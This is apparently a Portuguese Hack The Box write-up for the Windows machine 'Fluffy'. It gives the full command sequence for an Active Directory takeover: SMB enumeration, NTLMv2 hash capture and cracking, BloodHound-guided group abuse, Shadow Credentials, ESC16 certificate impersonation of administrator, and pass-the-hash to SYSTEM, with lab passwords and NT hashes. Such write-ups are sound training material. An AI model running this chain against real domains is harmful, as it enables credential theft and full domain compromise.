Fluffy Machine - HTB (Windows | Easy)#

👤 Credenciais Iniciais#

• Usuário: j.fleischman
• Senha: J0elTHEM4n1990!

🛠️ Ferramentas Utilizadas#

• nmap
• smbclient
• bloodhound
• pywhisker
• evil-winrm
• impacket
• hashcat
• ntpdate

⚠️ Erro: Clock skew too great#

Um problema comum em ambientes AD é a dessincronização de horário entre a máquina atacante e o alvo. Isso pode ser corrigido com o comando:

1
ntpdate 10.10.11.69

🔎 Enumeração Inicial#

1
nmap -T4 -p- -v -A -P0 10.10.11.69 -oX fluffy_tcp.scan --webxml

📁 Enumeração SMB#

Com as credenciais iniciais, listamos os compartilhamentos disponíveis no servidor.

1
smbclient -L //10.10.11.69 -U j.fleischman --password='J0elTHEM4n1990!'

Shares encontrados: ADMIN$, C$, IPC$, IT, NETLOGON, SYSVOL

O share IT parece promissor. Vamos acessá-lo:

1
smbclient //10.10.11.69/IT -U j.fleischman --password='J0elTHEM4n1990!'

Arquivos encontrados no share:

• Everything-1.4.1.1026.x64/
• Everything-1.4.1.1026.x64.zip
• KeePass-2.58/
• KeePass-2.58.zip
• Upgrade_Notice.pdf ← Arquivo chave!

📝 Análise do PDF e Captura de Hash#

O arquivo Upgrade_Notice.pdf menciona várias CVEs, com destaque para a CVE-2025-24071. Esta vulnerabilidade permite a captura de hashes NTLMv2 ao forçar uma autenticação contra um listener SMB malicioso.

Após explorar a falha, o hash do usuário p.agila foi capturado.

🔐 Cracking NTLMv2 com Hashcat#

O hash capturado foi quebrado com sucesso, revelando a seguinte credencial:

• Usuário: p.agila
• Senha: prometheusx-303

🧠 Análise com BloodHound#

1
bloodhound-python -d FLUFFY.HTB -u j.fleischman -p "J0elTHEM4n1990!" -gc dc01.fluffy.htb -c all -ns 10.10.11.69

A análise do BloodHound revelou um caminho de privilégio interessante:

• p.agila ∈ SERVICE ACCOUNT MANAGERS
• SERVICE ACCOUNT MANAGERS → GenericAll → SERVICE ACCOUNTS
• SERVICE ACCOUNTS → GenericWrite → ca_svc, ldap_svc, winrm_svc

Isso significa que p.agila pode se adicionar ao grupo “SERVICE ACCOUNTS” e então modificar as contas de serviço.

1
net rpc group addmem "SERVICE ACCOUNTS" "p.agila" -U "FLUFFY.HTB/p.agila"%"prometheusx-303" -S "DC01.FLUFFY.HTB"

🧙 Abuso de Shadow Credentials (pywhisker)#

Com as novas permissões, podemos usar pywhisker para adicionar credenciais alternativas (Shadow Credentials) à conta de serviço winrm_svc e nos autenticar como ela.

1
pywhisker.py -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "winrm_svc" --action "add"

1
gettgtpkinit -cert-pem oBwGyENT_cert.pem -key-pem oBwGyENT_priv.pem fluffy.htb/winrm_svc winrm_svc.ccache
2
export KRB5CCNAME=winrm_svc.ccache

📡 Acesso Inicial com Evil-WinRM#

Agora, com um TGT para winrm_svc, podemos obter seu hash NT e usar Evil-WinRM para ganhar um shell.

1
getnthash -key <key> fluffy.htb/winrm_svc
2
evil-winrm -i 10.10.11.69 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767

USER FLAG PWNED 🎉

🔐 Escalada de Privilégio (ESC16 via Certipy)#

WARNING

É crucial usar uma versão atualizada do Certipy, clonada diretamente do GitHub, para que a vulnerabilidade ESC16 funcione corretamente.

A mesma permissão de GenericWrite sobre contas de serviço se aplica a ca_svc. Vamos explorar isso para escalar privilégios para Administrador.

1
certipy shadow -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ca_svc' auto

1
certipy-ad find -vulnerable -u ca_svc@fluffy.htb -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -stdout

1
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update

1
certipy req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User' -upn 'administrator@fluffy.htb'

1
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update

1
certipy auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'

💣 Execução Final: Pass-the-Hash#

Com o hash NT do Administrador, usamos psexec.py do Impacket para obter um shell como SYSTEM.

1
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e Administrator@10.10.11.69

SYSTEM FLAG PWNED 👑